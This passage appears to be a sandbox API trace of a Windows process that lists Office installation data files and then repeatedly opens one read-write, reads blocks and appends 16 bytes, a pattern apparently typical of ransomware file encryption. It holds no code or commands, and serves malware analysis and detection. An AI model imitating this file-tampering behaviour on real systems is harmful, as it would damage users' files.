dwReserved0=0x0, dwReserved1=0x0, cFileName="outlookmui.msi.16.en-us.boot.tree.dat", cAlternateFileName="OUTLOO~2.DAT")) returned 1 [0130.668] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd060ab93, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd060ab93, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0715cb9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="outlookmui.msi.16.en-us.tree.dat", cAlternateFileName="OUTLOO~4.DAT")) returned 1 [0130.668] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843de0ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7ebd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="powerpivot.x-none.msi.16.x-none.boot.tree.dat", cAlternateFileName="POWERP~1.DAT")) returned 1 [0130.668] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcf87b4f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcf87b4f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcff7c3ac, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x81963, dwReserved0=0x0, dwReserved1=0x0, cFileName="powerpivot.x-none.msi.16.x-none.tree.dat", cAlternateFileName="POWERP~4.DAT")) returned 1 [0130.669] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x31ca6, dwReserved0=0x0, dwReserved1=0x0, cFileName="powerpoint.x-none.msi.16.x-none.boot.tree.dat", cAlternateFileName="POWERP~3.DAT")) returned 1 [0130.669] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd04b3616, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd04b3616, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd059845b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x59af4, dwReserved0=0x0, dwReserved1=0x0, cFileName="powerpoint.x-none.msi.16.x-none.tree.dat", cAlternateFileName="POA51D~1.DAT")) returned 1 [0130.669] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843b7e4f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x405c, dwReserved0=0x0, dwReserved1=0x0, cFileName="powerpointmui.msi.16.en-us.boot.tree.dat", cAlternateFileName="POWERP~2.DAT")) returned 1 [0130.669] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd060ab93, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd060ab93, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd07ae4bb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4a23, dwReserved0=0x0, dwReserved1=0x0, cFileName="powerpointmui.msi.16.en-us.tree.dat", cAlternateFileName="PO677D~1.DAT")) returned 1 [0130.669] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9851ecf, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf9851ecf, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf98c485a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x229c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="project.x-none.msi.16.x-none.boot.tree.dat", cAlternateFileName="PROJEC~1.DAT")) returned 1 [0130.669] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b1a0d3d, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b1a0d3d, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x3a1db, dwReserved0=0x0, dwReserved1=0x0, cFileName="project.x-none.msi.16.x-none.tree.dat", cAlternateFileName="PROJEC~4.DAT")) returned 1 [0130.669] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9851ecf, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf9851ecf, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf9910b72, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="projectmui.msi.16.en-us.boot.tree.dat", cAlternateFileName="PROJEC~2.DAT")) returned 1 [0130.669] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b17ac3e, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b17ac3e, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x76a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="projectmui.msi.16.en-us.tree.dat", cAlternateFileName="PROJEC~3.DAT")) returned 1 [0130.669] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843b7e4f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x47f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="proof.en-us.msi.16.en-us.boot.tree.dat", cAlternateFileName="PROOFE~1.DAT")) returned 1 [0130.669] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0952017, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0952017, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0aa952a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4a74, dwReserved0=0x0, dwReserved1=0x0, cFileName="proof.en-us.msi.16.en-us.tree.dat", cAlternateFileName="PROOFE~3.DAT")) returned 1 [0130.669] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843de0ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4f6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="proof.es-es.msi.16.es-es.boot.tree.dat", cAlternateFileName="PROOFE~2.DAT")) returned 1 [0130.669] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0d0baf0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0d0baf0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0f21c2b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5de7, dwReserved0=0x0, dwReserved1=0x0, cFileName="proof.es-es.msi.16.es-es.tree.dat", cAlternateFileName="PROOFE~4.DAT")) returned 1 [0130.669] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4f96, dwReserved0=0x0, dwReserved1=0x0, cFileName="proof.fr-fr.msi.16.fr-fr.boot.tree.dat", cAlternateFileName="PROOFF~1.DAT")) returned 1 [0130.669] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd089348e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd089348e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd09ea90c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5e25, dwReserved0=0x0, dwReserved1=0x0, cFileName="proof.fr-fr.msi.16.fr-fr.tree.dat", cAlternateFileName="PROOFF~2.DAT")) returned 1 [0130.670] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xcee, dwReserved0=0x0, dwReserved1=0x0, cFileName="proofing.msi.16.en-us.boot.tree.dat", cAlternateFileName="PROOFI~1.DAT")) returned 1 [0130.670] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd099e45b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd099e45b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0af5a16, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x117c, dwReserved0=0x0, dwReserved1=0x0, cFileName="proofing.msi.16.en-us.tree.dat", cAlternateFileName="PROOFI~2.DAT")) returned 1 [0130.670] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1851f, dwReserved0=0x0, dwReserved1=0x0, cFileName="publisher.x-none.msi.16.x-none.boot.tree.dat", cAlternateFileName="PUBLIS~2.DAT")) returned 1 [0130.670] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd048d683, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd048d683, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd05e48fc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x236f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="publisher.x-none.msi.16.x-none.tree.dat", cAlternateFileName="PUBLIS~3.DAT")) returned 1 [0130.670] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x294b, dwReserved0=0x0, dwReserved1=0x0, cFileName="publishermui.msi.16.en-us.boot.tree.dat", cAlternateFileName="PUBLIS~1.DAT")) returned 1 [0130.670] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd099e45b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd099e45b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0b8e391, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="publishermui.msi.16.en-us.tree.dat", cAlternateFileName="PUBLIS~4.DAT")) returned 1 [0130.670] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xbf317c17, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf317c17, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xbf33deae, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x387c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="visio.x-none.msi.16.x-none.boot.tree.dat", cAlternateFileName="VISIOX~1.DAT")) returned 1 [0130.670] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x147a8a2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x147a8a2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x147a8a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x62499, dwReserved0=0x0, dwReserved1=0x0, cFileName="visio.x-none.msi.16.x-none.tree.dat", cAlternateFileName="VISIOX~2.DAT")) returned 1 [0130.670] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xbf317c17, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf317c17, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xbf33deae, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x98e08, dwReserved0=0x0, dwReserved1=0x0, cFileName="visiomui.msi.16.en-us.boot.tree.dat", cAlternateFileName="VISIOM~1.DAT")) returned 1 [0130.670] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1159842, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1159842, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1159842, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x98fc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="visiomui.msi.16.en-us.tree.dat", cAlternateFileName="VISIOM~2.DAT")) returned 1 [0130.670] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84404c07, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x38343, dwReserved0=0x0, dwReserved1=0x0, cFileName="word.x-none.msi.16.x-none.boot.tree.dat", cAlternateFileName="WORDX-~1.DAT")) returned 1 [0130.670] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd022ae04, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd022ae04, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd03a857f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x67519, dwReserved0=0x0, dwReserved1=0x0, cFileName="word.x-none.msi.16.x-none.tree.dat", cAlternateFileName="WORDX-~2.DAT")) returned 1 [0130.670] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbd39, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordmui.msi.16.en-us.boot.tree.dat", cAlternateFileName="WORDMU~1.DAT")) returned 1 [0130.670] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd09ea90c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd09ea90c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0b41ebe, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc002, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordmui.msi.16.en-us.tree.dat", cAlternateFileName="WORDMU~2.DAT")) returned 1 [0130.671] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd09ea90c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd09ea90c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0b41ebe, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc002, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordmui.msi.16.en-us.tree.dat", cAlternateFileName="WORDMU~2.DAT")) returned 0 [0130.671] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0130.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee440) returned 1 [0130.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee400) returned 1 [0130.672] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x55 [0130.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0130.672] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x3613b90 | out: lpFileInformation=0x3613b90*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x21b9b)) returned 1 [0130.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0130.673] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x55 [0130.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0130.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0130.674] GetFileType (hFile=0x650) returned 0x1 [0130.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0130.674] GetFileType (hFile=0x650) returned 0x1 [0130.674] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0130.674] ReadFile (in: hFile=0x650, lpBuffer=0x3614138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3614138*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0130.675] CloseHandle (hObject=0x650) returned 1 [0130.675] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x55 [0130.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0130.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0130.676] GetFileType (hFile=0x650) returned 0x1 [0130.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0130.676] GetFileType (hFile=0x650) returned 0x1 [0130.676] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x21b9b [0130.676] WriteFile (in: hFile=0x650, lpBuffer=0x3615428*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x3615428*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0130.677] CloseHandle (hObject=0x650) returned 1 [0130.677] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x55 [0130.677] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0130.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0130.677] GetFileType (hFile=0x650) returned 0x1 [0130.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0130.677] GetFileType (hFile=0x650) returned 0x1 [0130.677] ReadFile (in: hFile=0x650, lpBuffer=0x36196e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x36196e8*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0131.136] CloseHandle (hObject=0x650) returned 1 [0131.136] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x55 [0131.136] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0131.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0131.136] GetFileType (hFile=0x650) returned 0x1 